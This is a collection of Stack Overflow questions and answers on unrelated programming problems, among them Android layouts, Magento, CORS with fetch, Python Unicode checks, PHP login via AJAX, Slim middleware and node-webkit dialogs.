28616911	0	How to set an ImageView to match_parent and horizontally scale accordingly? <p>I have a RelativeLayout in a section of my activity that includes a button and an ImageView. The size of the RelativeLayout is ListPreferredItemHeight and what I would like to do is have the ImageView span from top to bottom of that layout and be scaled accordingly.</p> <p>Currently, without implementing any scaling attributes, I have this image:</p> <p><img src="https://i.stack.imgur.com/ZCGxs.png" alt="enter image description here"></p> <p>I achieve this with the following xml code:</p> <pre><code>&lt;RelativeLayout android:layout_width="0dp" android:layout_height="match_parent" android:layout_weight="1"&gt; &lt;Button android:id="@+id/newPrescription_Medication" android:gravity="center" android:layout_width="wrap_content" android:layout_height="match_parent" android:layout_alignParentLeft="true" android:layout_alignParentStart="true" android:layout_toLeftOf="@+id/newPrescription_AddMedication" android:layout_toStartOf="@id/newPrescription_AddMedication" android:text="@string/select_medication"/&gt; &lt;ImageView android:id="@+id/newPrescription_AddMedication" android:layout_width="wrap_content" android:layout_height="match_parent" android:layout_alignParentRight="true" android:layout_alignParentEnd="true" android:src="@drawable/add_icon"/&gt; &lt;/RelativeLayout&gt; </code></pre> <p>Now, to try and fill the space with the button, I added the following to the ImageView tag:</p> <pre><code>android:adjustViewBounds="true" android:scaleType="centerInside" </code></pre> <p><img src="https://i.stack.imgur.com/SZjzS.png" alt="enter image description here"></p> <p>How can I get the entire image to appear, while maintaining its position on the right side of the layout and filling the rest with the button?</p>
2188447	0	 <p>Correct. You must transform your attribute into an <code>NSData</code> object. You would need to serialize an <code>NSURL</code> to <code>NSData</code> -- and the default <code>NSKeyedUnarchiveFromDataTransformerName</code> transformer will do this for you.</p> <p>Another approach, and the one that I use for URLs, is to maintain two parallel properties. One transient property of undefined type for the URL, and a second persistent property of string type for the backing store. I lazily construct the URL from the string the first time it's requested, and I update the string property whenever the URL is changed.</p> <p>There's no way to enforce it, but you really don't want to use the string property from outside your entity's class. I generally make the <code>@property</code> definition for the string attribute private to remind myself not to use it.</p>
18737412	0	 <p>By submitting the form in HTML you basically tell the browser to generate a normal HTTP request, usually POST or GET, for an URL defined in tag with form fields attached according to the specified method either appended to the URL or included in the request data. </p> <p>There is nothing really special or different from a "normal" HTTP request, in fact you can manually "submit a form" by appending form keys and values to the URL in your browser and navigating to it in case of GET method.</p> <p>Summarizing:</p> <p>1) Yes, you are right.</p> <p>2) From what I've just read (never used REST personally) a REST application is implemented by a servlet mechanism and uses HTTP protocol, so it should be possible to write a REST application for processing HTML forms if the form points to this application's URL.</p>
24807178	0	 <p>You need to do something like this:</p> <pre><code>//define base layers var osmUrl='http://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png'; var normalView = L.tileLayer(osmUrl, {styleId: 997, attribution: osmAttributes, maxZoom: 18 }); ... //define overlay layers var markersLayer = new L.layerGroup(); var linesLayer = new L.layerGroup(); ... //create MAP with default base and overlay layers var map = L.map('map', { layers: [normalView, markersLayer] }).setView([45.2516700, 19.8369400], 12); //add layers to the base and overlay var baseMaps = { "Normal view": normalView, "Night view": nightView, "MapQuest layer": mapQuest }; var overlayMaps = { "Markers": markersLayer, "Lines": linesLayer, "3D layer": osmbView }; //add layer control to the map L.control.layers(baseMaps, overlayMaps).addTo(map); </code></pre>
20326482	0	How to get data from a custom table into a block in magento <p>I have followed the steps mentioned in the link below to create a custom module in magento 1.7. <a href="http://www.webspeaks.in/2010/07/create-your-first-magento-module.html#comment-form" rel="nofollow">http://www.webspeaks.in/2010/07/create-your-first-magento-module.html#comment-form</a></p> <p>I did not create a web table, instead I have created 2 tables chefdetail and chefproduct, and have created the Block and phtml file for the same.</p> <p>My Chefdetail block looks like:</p> <pre><code>class TruffleStreet_Web_Block_ChefDetail extends Mage_Core_Block_Template { public function _prepareLayout() { return parent::_prepareLayout(); } public function getChefDetail() { if (!$this-&gt;hasData('chefdetail')) { $this-&gt;setData('chefdetail', Mage::registry('chefdetail')); } return $this-&gt;getData('chefdetail'); } } </code></pre> <p>How do I modify it to load all the data from the chefdetail table in the database? There is data in this table, but I am not able to access it. My chefdetail.phtml file looks like:</p> <pre><code>$_chefblockData = $this-&gt;getLayout()-&gt;createBlock('web/chefdetail')-&gt;getChefDetail(); echo "Count Chef = " . count($_chefblockData) ; </code></pre> <p>Please advice how I can fix this issue?</p> <p>Thanks, Neet</p>
39704710	0	 <p>The problem is that when you work in 'mode' 'no-cors', the Headers become an immutable and you will not be able to change some of its entries. One of the heads you can't change is the Content-Type. When you set 'mode' to 'no-cors' you will be able to change only these headers:</p> <ul> <li><code>Accept</code></li> <li><code>Accept-Language</code></li> <li><code>Content-Language</code></li> <li><code>Content-Type</code> and whose value, once parsed, has a MIME type (ignoring parameters) that is <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code>, or <code>text/plain</code></li> </ul> <p>In another words, in 'mode' '-no-'cors' you can only set <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code>, or <code>text/plain</code> to the <code>Content-Type</code>.</p> <p>So the solution is stop using fetch or changing it to 'cors' 'mode'. Of course this will only works if your server also accepts 'cors' requests.</p> <p>Here is an example of how you could enable CORS in an Apache Server</p> <pre><code>SetEnvIfNoCase Access-Control-Request-Method "(GET|POST|PUT|DELETE|OPTIONS)" IsPreflight=1 SetEnvIfNoCase Origin ".*" AccessControlAllowOrigin=$0 SetEnvIfNoCase Origin "https://(url1.com|url2.com)$" AccessControlAllowOrigin=$0 Header always set Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin Header always set Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" env=IsPreflight Header always set Access-Control-Allow-Headers "Content-Type, Authorization, Accept, Accept-Language" env=IsPreflight Header always set Access-Control-Max-Age "7200" env=IsPreflight RewriteCond %{REQUEST_METHOD} OPTIONS RewriteCond %{ENV:IsPreflight} 1 RewriteRule ^(.*)$ $1 [R=204,L] </code></pre> <p>The above code will inject the CORS headers in the response when its necessary. With this code your server will allow CORS only from the the domains "url1.com" or "url2.com".</p> <p>Here are some references</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Request/mode" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/API/Request/mode</a></li> <li><a href="https://fetch.spec.whatwg.org/#simple-header" rel="nofollow">https://fetch.spec.whatwg.org/#simple-header</a></li> </ul>
28735408	0	 <p>I faced a similar issue: "Unable to resolve class GrailsTestCase". I checked Grails Tools of my project and observed Dependency Management was already enabled (IDE - GGTS). I just disabled Dependency Management, refreshed and enabled it again. This solved the issue for me.</p>
21057197	0	 <p>When you would like to change the <code>$n</code>. character to <code>$something</code>:</p> <pre><code>$_SESSION['b1'][$n] = $something; </code></pre> <p>In your case:</p> <pre><code>$_SESSION['b1'][1] = $_SESSION['word'][0]; </code></pre> <p>Details:</p> <p><a href="http://www.php.net/manual/en/language.types.string.php#language.types.string.substr" rel="nofollow">http://www.php.net/manual/en/language.types.string.php#language.types.string.substr</a></p>
39480810	0	 <p>Technically the copy constructor gets invoked in the following cases:</p> <ol> <li>explicit copy construction</li> <li>call by value</li> <li>return by value</li> </ol> <p>The assignment operator is implemented to obliterate an exiting instance's old contents with new ones. As you showcase an example:</p> <pre><code>myClass newInstant; newInstant = oldInstant;//assignment operator </code></pre> <p>Keep in mind that they work differently. Copy-swap involves in the assignment operator. </p> <p>Regarding your last question, modern compilers apply copy constructor elision to elide unnecessary copy constructor call. </p>
4464489	0	 <p>I'm not 100% on the problems with the canvas element in IE but you can update the onclick handler of the <code>canvas</code> element, changing the window location to where you want.</p> <pre><code>document.getElementById("mycanvas").onclick = function(e){ window.location.href = 'http://www.google.com'; }; </code></pre> <p>Example: <a href="http://jsfiddle.net/jonathon/HtmVS/">http://jsfiddle.net/jonathon/HtmVS/</a></p> <p>You could handle other events (like the mousein/mouseout) to set the cursor, if you wanted.</p>
13983583	0	 <p>Unless you want to dig into the internals of one or more sparse matrix types, you should use CSR format for your matrix and:</p> <ul> <li>Calculate the length (L2 norm) of each matrix row; in other words: <code>sum(multiply(M, M), 2)</code></li> <li>Normalize r to (L2) length 1</li> <li>Matrix multiply <code>M*r</code> (where r is treated as a column vector)</li> </ul> <p>If an entry of <code>M*r</code> matches the length of the corresponding row, then you have a match.</p> <p>Note that the default <code>ord</code> for <code>numpy.linalg.norm</code> is L2 norm.</p>
10664254	1	The right way to check of a string has hebrew chars <p>The Hebrew language has unicode representation between 1424 and 1514 (or hex 0590 to 05EA).</p> <p>I'm looking for the right, most efficient and most pythonic way to achieve this.</p> <p>First I came up with this:</p> <pre><code>for c in s: if ord(c) &gt;= 1424 and ord(c) &lt;= 1514: return True return False </code></pre> <p>Then I came with a more elegent implementation:</p> <pre><code>return any(map(lambda c: (ord(c) &gt;= 1424 and ord(c) &lt;= 1514), s)) </code></pre> <p>And maybe:</p> <pre><code>return any([(ord(c) &gt;= 1424 and ord(c) &lt;= 1514) for c in s]) </code></pre> <p>Which of these are the best? Or i should do it differently?</p>
26426280	0	receiving post variables from an external source in zendframework 2 <p>i am working on a zendframework 2 project and want to receive post variables from an external source.</p> <p>the source where the values will come from is a payment site (i.e world pay and paypal). i.e the return values of a payment confirming that payment has been made.</p> <p>on the external site, i simply gave the URL of the web page that i want the information to be returned to: </p> <pre><code>http://example-site.com/payments/payment-made </code></pre> <p>then in action function on the controller page i did the following; </p> <pre><code>public function paymentMadeAction() { $contents = file_get_contents('php://input'); // read request contents $data = explode('&amp;', $contents); if ($contents) { foreach($data as &amp;$entry) { $entry = explode('=', $entry); $entry[1] = urldecode($entry[1]); } unset($entry); } print_r($data); } </code></pre> <p>nothing happens though. i mean, i tested it but the values are not being received. when i went to the external source to check if my site received the information it confirmed that the information had been successfully sent</p> <p>is there a special procedure that needs to be followed when receiving information from an external source in zend framework 2</p> <p>would really appreciate any guidance or advise.</p> <p><strong>update:</strong></p> <p>below is a sample of the post variable that should be returned to the site; its a simply http object</p> <pre><code> POST /fail?installation=XXXXXX&amp;msgType=authResult HTTP/1.0 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Host: www.worldpay.com Content-Length: 973 User-Agent: WJHRO/1.0 (worldPay Java HTTP Request Object) region=new+format+region&amp;authAmountString=%26%23163%3B10.00&amp;_SP.charEnc=UTF8&amp;desc=&amp;tel=&amp;address1=new+format+address1) </code></pre>
37460580	0	 <p>I had this issue recently with another group of plugins recently. One wouldn't allow me to disable it because it dependeded on the other, but the other was disabled and wouldn't allow me to enable it because of the dependency. </p> <p>All you have to do to fix this is go to your jenkins installation, and under the plugins directory look for the plugin_name.jpi file. For the disabled plugin, you should see a file called plugin_name.jpi.disabled. Just delete the disabled file and then you should be able to enable / disable the plugins through the UI.</p> <p>Note: you can also manually disable plugins by creating a disabled plugin file using the naming convention above.</p>
35868533	0	 <p>Thanks for the heads up about the bug report and fix. I feel the need to give an answer to this question though, just in case you haven't ditched PHP and Slim framework altogether. Hopefully, it will be of help to someone else.</p> <p>My approach to this would be:</p> <pre><code>&lt;?php use Slim\Http\Request; use Slim\Http\Response; class AuthenticationMiddleware { public function isAuthenticated($userid, $authorization) { //do data validation here return false; } public function createErrorResponse($code, $msg, Response $response) { return $response-&gt;withStatus($code) -&gt;withHeader('Content-Type', 'application/json;charset=utf-8') -&gt;withJson($msg); } public function __invoke(Request $request, Response $response, $next) { $userid = $request-&gt;getHeaderLine('userid'); $authorization = $request-&gt;getHeaderLine('Authorization'); if(!$this-&gt;isAuthenticated($userid, $authorization)) { $msg = 'You are unauthenticated. Please login again'; $code = 400; $this-&gt;createErrorResponse($code, $msg, $response); } else { $response = $next($request, $response); } return $response; } } </code></pre> <p>Let me just say this. I would abstract a few stuff here in this code so I don't end up repeating myself. I see you repeating:</p> <pre><code>public function createErrorResponse($code, $msg, Response $response) { return $response-&gt;withStatus($code) -&gt;withHeader('Content-Type', 'application/json;charset=utf-8') -&gt;withJson($msg); } </code></pre> <p>In all your middleware and perhaps, in your routes. Hope this sets someone on the right track.</p>
31817366	0	 <p>As other folks have mentioned, Java, ActiveX, Silverlight, Browser Helper Objects (BHOs) and other plugins are not supported in Microsoft Edge. Most modern browsers are moving away from plugins and toward standard HTML5 controls and technologies. </p> <p>If you must continue to use the Java plugin in a corporate web app, consider adding the site to an <a href="https://technet.microsoft.com/en-us/library/mt270205.aspx">Enterprise Mode site list</a>. This will automatically prompt the user to open in IE.</p>
7109507	0	 <p>If <strong>all values</strong> end up at <code>star0.png</code>, then you <em>are</em> cycling through the list. The fact that the <code>else</code> statement is the only code being executed for each element suggests a logical error -- did you perhaps mean to do something like this?</p> <pre><code>string serviceCode = ReviewList[i].SERVICE.SERVICE_CODE; </code></pre>
22939473	0	 <p>I ran into an issue with the nice Joonas Pulakka's answer because the "UIManager lookandFeel" was ignored.</p> <p>I found the nice trick below on <a href="http://tips4java.wordpress.com/2010/09/12/keeping-menus-open/" rel="nofollow">http://tips4java.wordpress.com/2010/09/12/keeping-menus-open/</a> </p> <p>The point is to reopen immediatly the menu after it has been closed, it's invisible and keep the application look and feel and behavior.</p> <pre><code>public class StayOpenCBItem extends JCheckBoxMenuItem { private static MenuElement[] path; { getModel().addChangeListener(new ChangeListener() { @Override public void stateChanged(ChangeEvent e) { if (getModel().isArmed() &amp;&amp; isShowing()) { path = MenuSelectionManager.defaultManager().getSelectedPath(); } } }); } public StayOpenCBItem(String text) { super(text); } @Override public void doClick(int pressTime) { super.doClick(pressTime); MenuSelectionManager.defaultManager().setSelectedPath(path); } } </code></pre>
21367584	0	 <p>Jquery POST data could be sent as</p> <pre><code>data: { email_one: email_one , email_two: email_two,ebankpin:ebankpin,eusername:eusername} </code></pre>
40708900	0	 <p>Based on this previous <a href="http://stackoverflow.com/questions/40698572/ruby-extract-elements-from-deeply-nested-json-structure-based-on-criteria/40698808?noredirect=1#comment68644516_40698808">answer</a>, you just need to add a select on eventNodes :</p> <pre><code>require 'json' json = File.read('data.json') hash = JSON.parse(json) moneyline_market_ids = hash["eventTypes"].map{|type| type["eventNodes"].select{|event_node| ['US', 'GB'].include?(event_node["event"]["countryCode"]) || event_node["event"]["eventName"].include?(' @ ') }.map{|event| event["marketNodes"].select{|market| market["description"]["marketName"] == 'Moneyline' }.map{|market| market["marketId"] } } }.flatten puts moneyline_market_ids.join(', ') #=&gt; 1.128255531, 1.128272164, 1.128255516, 1.128272159, 1.128278718, 1.128272176, 1.128272174, 1.128272169, 1.128272148, 1.128272146, 1.128255464, 1.128255448, 1.128272157, 1.128272155, 1.128255499, 1.128272153, 1.128255484, 1.128272150, 1.128255748, 1.128272185, 1.128278720, 1.128272183, 1.128272178, 1.128255729, 1.128360712, 1.128255371, 1.128255433, 1.128255418, 1.128255403, 1.128255387 </code></pre> <p>If you want to keep the country code and name information with the id:</p> <pre><code>moneyline_market_ids = hash["eventTypes"].map{|type| type["eventNodes"].map{|event_node| [event_node, event_node["event"]["countryCode"], event_node["event"]["eventName"]] }.select{|_, country, event_name| ['US', 'GB'].include?(country) || event_name.include?(' @ ') }.map{|event, country, event_name| event["marketNodes"].select{|market| market["description"]["marketName"] == 'Moneyline' }.map{|market| [market["marketId"],country,event_name] } } }.flatten(2) require 'pp' pp moneyline_market_ids #=&gt; [["1.128255531", "US", "Philadelphia @ Seattle"], # ["1.128272164", "US", "Arkansas @ Mississippi State"], # ["1.128255516", "US", "New England @ San Francisco"], # ["1.128272159", "US", "Indiana @ Michigan"], # ["1.128278718", "CA", "Edmonton @ Ottawa"], # ["1.128272176", "US", "Arizona State @ Washington"], # ["1.128272174", "US", "Alabama A&amp;M @ Auburn"], # ... </code></pre>
19178374	0	Two divs in the same row (in a arrow shaped parent div) with text in one div getting clipped based on the width of second div <p>Here is a <a href="http://jsfiddle.net/SxZGE/" rel="nofollow">jsfiddle link of my issue</a></p> <p><strong>HTML</strong></p> <pre><code>&lt;div class="Right green"&gt; &lt;h2&gt; &lt;div class="number colorV"&gt; 8.123456 &lt;/div&gt; &lt;div id="text"&gt; huh-fjiuetie&lt;/div&gt; &lt;/h2&gt; &lt;div class="Right-after green-after"&gt;&lt;/div&gt; &lt;/div&gt; </code></pre> <p>Conditions are:</p> <ol> <li>The two <code>div</code>'s inside the <code>h2</code> tag have to be on the same line.</li> <li>The div with the class `.number. must be flexible, its content is variable.</li> <li>The content in the <code>.text</code> div gets clipped based on the content in the number div (widths cannot be fixed as the content in the number div is dynamically generated)</li> <li>The background color is also not fixed (hence we cannot fix background-color to the number div in order to do as required)</li> </ol> <p>Any suggestion would be appreciated.</p>
27237732	0	concatenating .txt files into a csv file with a tab delimiter <p>I am trying to concatenate a set of .txt files using windows command line, into a csv file.</p> <p>so i use</p> <pre><code>type *.txt &gt; me_new_file.csv </code></pre> <p>but a the fields of a given row, which is tab delimited, ends up in one column. How do I take advantage of tab separation in the original text file to create a csv file such that fields are aligned in columns correctly, using one or more command lines? I am thinking there might be something like...</p> <pre><code>type *.txt &gt; me_new_file.csv delim= ' ' </code></pre> <p>but haven't been able to find anything yet. Thank You for your help. Would also appreciate if someone could direct me to a related answer. </p>
24104158	0	 <p>OK..</p> <p>Are you asking for something like that?</p> <pre><code>&lt;div id="sample"&gt; &lt;a class="uploadedfiles" href="www.google.com"&gt;File&lt;/a&gt; &lt;div class="diagram"&gt;&lt;/div&gt; &lt;/div&gt; </code></pre> <p>CSS</p> <pre><code>.diagram { width:100px;height:100px;border:1px solid #000000;} </code></pre> <p>JS</p> <pre><code>$(document).ready(function(){ var url = $('.uploadedfiles').attr('href'); $('.diagram').append('&lt;a href="'+url+'"&gt;File&lt;/a&gt;'); $('.uploadedfiles').remove(); }); </code></pre> <p>Fiddle:</p> <p><a href="http://jsfiddle.net/dVLjU/1/" rel="nofollow">Check this</a></p>
19706582	0	Keep alive Service in background? <p>For a demo I print a Toast after Evert 10 sec. using <code>Service</code> class. </p> <p>It works fine, I'm getting the Toast after every 10 sec if I am on the Activity when I leave the app, Service is not giving the o/p.</p> <p><strong>But I want to that toast either I'll kill the App or back press</strong> Here is code snippet :</p> <p><em>ServiceDemo.java</em></p> <pre><code>public class ServiceDemo extends Activity { private Handler myHandler = new Handler(); private Runnable drawRunnable = new Runnable() { @Override public void run() { as(); myHandler.postDelayed(this, 10000); } }; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_service_demo); myHandler.postDelayed(drawRunnable, 10000); startService(new Intent(this, MyService.class)); } public void as(){ startService(new Intent(this, MyService.class)); } @Override protected void onPause() { // TODO Auto-generated method stub super.onPause(); } } </code></pre> <p><em>Service.java</em></p> <pre><code>public class MyService extends Service { @Override public IBinder onBind(Intent intent) { return null; } @Override public void onCreate() { Toast.makeText(this, "HOHO Service Created...", Toast.LENGTH_LONG).show(); } @Override public void onDestroy() { } @Override public void onStart(Intent intent, int startid) { Toast.makeText(this, "Service Started...", Toast.LENGTH_LONG).show(); } } </code></pre> <p><strong>Edit 1</strong></p> <pre><code> moveTaskToBack(true); </code></pre> <p>I put this into the onBackPressed method I Service give the o/p if I am not on the screen but When I kill the App, <code>Service not responding</code></p>
2353460	0	 <p>You can use the ANSI colour codes. Here's an example program:</p> <pre><code>#include &lt;stdio.h&gt; int main(int argc, char *argv[]) { printf("%c[1;31mHello, world!\n", 27); // red printf("%c[1;32mHello, world!\n", 27); // green printf("%c[1;33mHello, world!\n", 27); // yellow printf("%c[1;34mHello, world!\n", 27); // blue return 0; } </code></pre> <p>The <code>27</code> is the <code>escape</code> character. You can use <code>\e</code> if you prefer.</p> <p>There are lists of all the codes all over the web. <a href="http://wiki.archlinux.org/index.php/Color_Bash_Prompt" rel="nofollow noreferrer">Here is one</a>.</p>
18360869	0	 <p>Just put name of the parent class at the end of new, for example</p> <p><code>public class YellowTextView extends TextView ...</code></p> <p>And let IDE do other work like Content Assist, etc.</p>
7952983	0	 <p>rails integration tests should be written so that the on case tests the one single request - response cycle. we can check redirects. but if you have to do something like</p> <p>get '/something', {:status=>'any_other'}, @header </p> <p>get '/something', {:status=>'ok'}, @header</p> <p>You should write two different cases for this. </p>
2902726	0	Trying to set PC clock programmatically just before Daylight Saving Time ends <p>To reproduce :</p> <p>1) Add Microsoft.VisualBasic assembly to your project reference</p> <p>2) Change PC timezone to : (GMT+10:00) Canberra, Melbourne, Sydney . Ensure PC is set to automatically adjust clock for daylight savings time. (For this timezone, daylight savings time ends at 3am on 4 Apr 2010.)</p> <p>3) add following code : </p> <pre><code> public void SetNewDateTime(DateTime dt) { Microsoft.VisualBasic.DateAndTime.Today = dt; // ignores time component Microsoft.VisualBasic.DateAndTime.TimeOfDay = dt; // ignores date component } private void button1_Click(object sender, EventArgs e) { DateTime dt = new DateTime(2010, 4, 5, 5, 0, 0); // XX SetNewDateTime(dt); // XX System.Threading.Thread.Sleep(500); DateTime dt2 = new DateTime(2010, 4, 4, 1, 0, 0); SetNewDateTime(dt2); } </code></pre> <p>4) When button 1 is clicked, the PC clock eventually shows 2am, whereas 1 am was expected. (If code marked at "XX" is removed, the clock sometimes shows the correct time of 1 am).</p> <p>Any idea what is happening ? (Or is there a more reliable way of setting the PC clock from C# code ?)</p> <p>TIA.</p> <p><strong>EDIT</strong> :</p> <p>In response to David M, I tried some modified code :</p> <pre><code> private void button1_Click(object sender, EventArgs e) { DateTime dt = new DateTime(2010, 4, 5, 5,0,0, DateTimeKind.Unspecified); SetNewDateTime(dt); System.Threading.Thread.Sleep(500); // type : 2010-04-04T01:00:00 into textBox1 DateTime dt2 = System.Xml.XmlConvert.ToDateTime(textBox1.Text, System.Xml.XmlDateTimeSerializationMode.Unspecified); SetNewDateTime(dt2); } </code></pre> <p>This gets the DateTime input from a textBox. The result was the same.</p>
29860773	0	 <p>Replace</p> <pre><code>private ArrayList&lt;Player&gt; playerSummaries = new ArrayList&lt;Player&gt;(); </code></pre> <p>with</p> <pre><code>private ArrayList&lt;Player&gt; players = new ArrayList&lt;Player&gt;(); </code></pre> <p>GSON uses reflection to look up which field it should populate. In your case it is looking up whether you have a field named <code>players</code> which you do not. </p> <p>You also do not need to instantiate the field, GSON will do that for you.</p> <p><strong>EDIT:</strong></p> <p>You also need a wrapper class around your top-level object. So</p> <pre><code>class MyObject { public Response response; } MyObject myObject = gson.fromJson(jsonData, MyObject.class); </code></pre>
13064522	0	 <p>This is normal behaviour. The Javascript context is specific to a page. If you reload the page, even if some of the HTML markup is the same, its Javascript-set attributes will be reset.</p> <p>You can achieve persistent element highlighting using cookies or server-side code (sessions).</p> <p>You can set a cookie <a href="http://www.electrictoolbox.com/jquery-cookies/" rel="nofollow">like this</a>, if you use the <a href="https://github.com/carhartl/jquery-cookie" rel="nofollow">jquery-cookie plugin</a> :</p> <pre><code> $("#nav-container&gt;li").click(function(){ $(this).addClass('selected') .siblings() .removeClass('selected'); $.cookie("selected", $(this).attr('id'), { path: '/' }) }); $(document).ready(function() { $("#" + $.cookie("selected")).addClass('selected') }); </code></pre> <p>Note: didn't test this code, but it should work. Of course, the user needs to have cookies enabled to use this.</p>
144649	0	 <p>Basically what the developers at Monster.ca are doing, is emulating a select-control using a div-element with scrollable content.</p> <p>Take a look at the <a href="http://www.w3schools.com/Css/pr_pos_overflow.asp" rel="nofollow noreferrer">"overflow" CSS-property</a>.</p>
3236030	0	 <p>To find people to work with you on a new project, you have :</p> <ul> <li>to go where they are</li> <li>to convince them to work with you</li> </ul> <p>Programming folks can be met directly on IRC. Go to a channel corresponding to the computing language you like, and you'll met great people, knowing your language and wasting their time on IRC. You have then to convince them to stop wasting time saying nothing on IRC and to go with you on a new project.</p> <p>Summer is already well started, so you should choose a small project that can be useful to anybody. People will work with you if the project you propose them is interesting enough for them. Here is an idea of a useful tool that does not exist yet :</p> <p><a href="http://ha.ckers.org/blog/20100613/web-server-log-forensics-app-wanted/" rel="nofollow noreferrer">http://ha.ckers.org/blog/20100613/web-server-log-forensics-app-wanted/</a></p>
19165744	0	Access my class returned list collection in code behind <p>I have a list collection in my class library that uses a sql datareader to returns a list of family details</p> <pre><code>public class Dataops { public List&lt;Details&gt; getFamilyMembers(int id) { some of the database code.. List&lt;Details&gt; fammemdetails = new List&lt;Details&gt;(); Details fammember; while (reader.Read()) { fammemdetails = new Details(( reader.GetString(reader.GetOrdinal("PHOTO"))); fammemdetails.add(fammember); } return fammemdetails; } } </code></pre> <p>So i reference the dll to my project and would like to bind an image to one of my datareader values.</p> <p>MyProject</p> <pre><code>DataOps ops = new DataOps(); myimage.ImageUrl = ??? (how do i access the list collections return image value here? </code></pre> <p>I am able to bind a datasource to the entire method like so</p> <pre><code>dropdownlistFamily.DataSource = mdb.GetFamilyMembers(id); </code></pre> <p>But cant figure out how to just grab a single value from there</p>
37857783	0	Logging in via modal using AJAX and PHP <p>to be fair, I'm fairly new in the AJAX area (newbie to be more precise) and i think that i took quite a large bite entering that field.So, I'm struggling for a several days now trying to implement AJAX with my PHP script. Before you flag this question as duplicate please consider that I've tried every posted question from this site and not one solution pop out. That being said, here is what I want to achieve: I want to show some sort of message after PHP script was successful or unsuccessful, something like picture below:</p> <p><a href="https://i.stack.imgur.com/z9lza.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/z9lza.png" alt="enter image description here"></a></p> <p>If there was successful show me msg, and redirect me (after 2 sec) to admin site, and if not show me error!</p> <p>So, here is code for modal form:</p> <pre><code>&lt;div class="modal fade" id="test" role="dialog"&gt; &lt;div class="modal-dialog"&gt; &lt;!-- Modal content--&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal"&gt;&amp;times;&lt;/button&gt; &lt;h4 class="modal-title"&gt;test&lt;/h4&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;form id="myform" method="POST" role="form"&gt; &lt;div class="form-group"&gt; &lt;label for="user"&gt;User:&lt;/label&gt; &lt;input name="user" type="text" class="form-control" placeholder="Unesi korisnika"&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label for="pass"&gt;Password:&lt;/label&gt; &lt;input name="pass" type="password" class="form-control" placeholder="Unesi lozinku"&gt; &lt;/div&gt; &lt;div id="error"&gt; &lt;div class="alert alert-danger"&gt; &lt;strong&gt;Error, try again!&lt;/strong&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id="thanks"&gt; &lt;div class="alert alert-success"&gt; &lt;strong&gt;Logging in..&lt;/strong&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="modal-footer"&gt; &lt;button type="button" class="btn btn-default" id="reset" data-dismiss="modal"&gt;Close&lt;/button&gt; &lt;button type="submit" class="btn btn-success" id="submitForm"&gt;Login!&lt;/button&gt; &lt;/form&gt; &lt;/div&gt; </code></pre> <p></p> <p>Here is my javascript block of code: Here I tried loging in using my php script but nothing happens, it's only showing me <strong>#thanks</strong> div when I start typing</p> <pre><code>$('#test').on('hidden.bs.modal', function () { $(this).removeData('bs.modal'); $(':input', '#myform').val(""); }); $("#thanks").hide(); $("#error").hide(); $("#myform").click(function (e) { var url = "login.php"; $.ajax({ type: "POST", url: url, data: $('#myform').serialize(), success: $("#thanks").show(), error: function () { $("#error").show(); } }); e.preventDefault(); }); </code></pre> <p>Here is my PHP <strong>doLogin()</strong> function inside myAuth class:</p> <pre><code>static function doLogin() { if( !empty($_POST['user']) &amp;&amp; !empty($_POST['pass']) ) { if(!session_id()) session_start(); // check and retrive user with sended pass $user = self::_fetchUserWithPassDB(); // if user found log in if($user) { // security $token = md5(rand(100000,999999)); // save token in session $_SESSION["auth"] = $token; // save user in session $_SESSION["user"] = $user[0]["user"]; // save role in session $_SESSION["role"] = $user[0]["role"]; // postavi validity and token in cookie, session in base self::_setCookieSessionDBTokenValidity(); // redirect on admin.php header( "refresh:2;url=admin.php" ); } else { header('Location:index.php'); } if(!$user) { header("refresh:1;url=index.php" ); } } // od if POST </code></pre> <p>and finally here is my <strong>login.php</strong></p> <pre><code>&lt;?php // login.php require_once('init.php'); myAuth::doLogin(); ?&gt; </code></pre> <p>Is it problem in in <strong>doLogin</strong>() function or is there problem with javascript, I really don't know? If there is any help, when I use this script without AJAX it works normal without any problems.</p> <p>Like this:</p> <pre><code>&lt;form action="login.php" id="myform" method="POST" role="form"&gt; ....&lt;!--rest of the modal form--&gt; </code></pre> <h2><strong>UPDATE 1.</strong></h2> <p>I've tried something like this, but it does not work. Also, I've removed redirect from doLogin () and added in AJAX call but without any luck</p> <pre><code>$("#myform").submit(function(e) { var url = "login.php"; $.ajax({ type: "POST", url: url, data: $('#myform').serialize(), success: function() { $("#thanks").show(), setTimeout(function() { window.location.href = "admin.php"; }, 2000); }, error: function() { $("#error").show(); } }); e.preventDefault(); }); </code></pre>
36210994	0	 <p>According to node-webkit's wiki, you can <a href="https://github.com/nwjs/nw.js/wiki/file-dialogs#how-to-open-a-file-dialog" rel="nofollow">open a dialog programmatically</a> by simulating a click on a <a href="https://github.com/nwjs/nw.js/wiki/file-dialogs#save-file" rel="nofollow">specially configured html input field</a>.</p> <p>So for example you would insert</p> <pre class="lang-html prettyprint-override"><code>&lt;input type="file" id="fileDialog" nwsaveas /&gt; &lt;!-- or specify a default filename: --&gt; &lt;input type="file" id="fileDialog" nwsaveas="myfile.txt" /&gt; </code></pre> <p>and use something like this to optionally programmatically trigger the dialog and get the entered path:</p> <pre class="lang-javascript prettyprint-override"><code>function chooseFile(name) { var chooser = document.querySelector(name); chooser.addEventListener("change", function(evt) { console.log(this.value); }, false); chooser.click(); } chooseFile('#fileDialog'); </code></pre>
13802625	0	 <p>The problem seems to lie in that all your "content-pad" classes doesnt have the width of the page.</p> <p>As soon as i give it a width it works fine.</p>
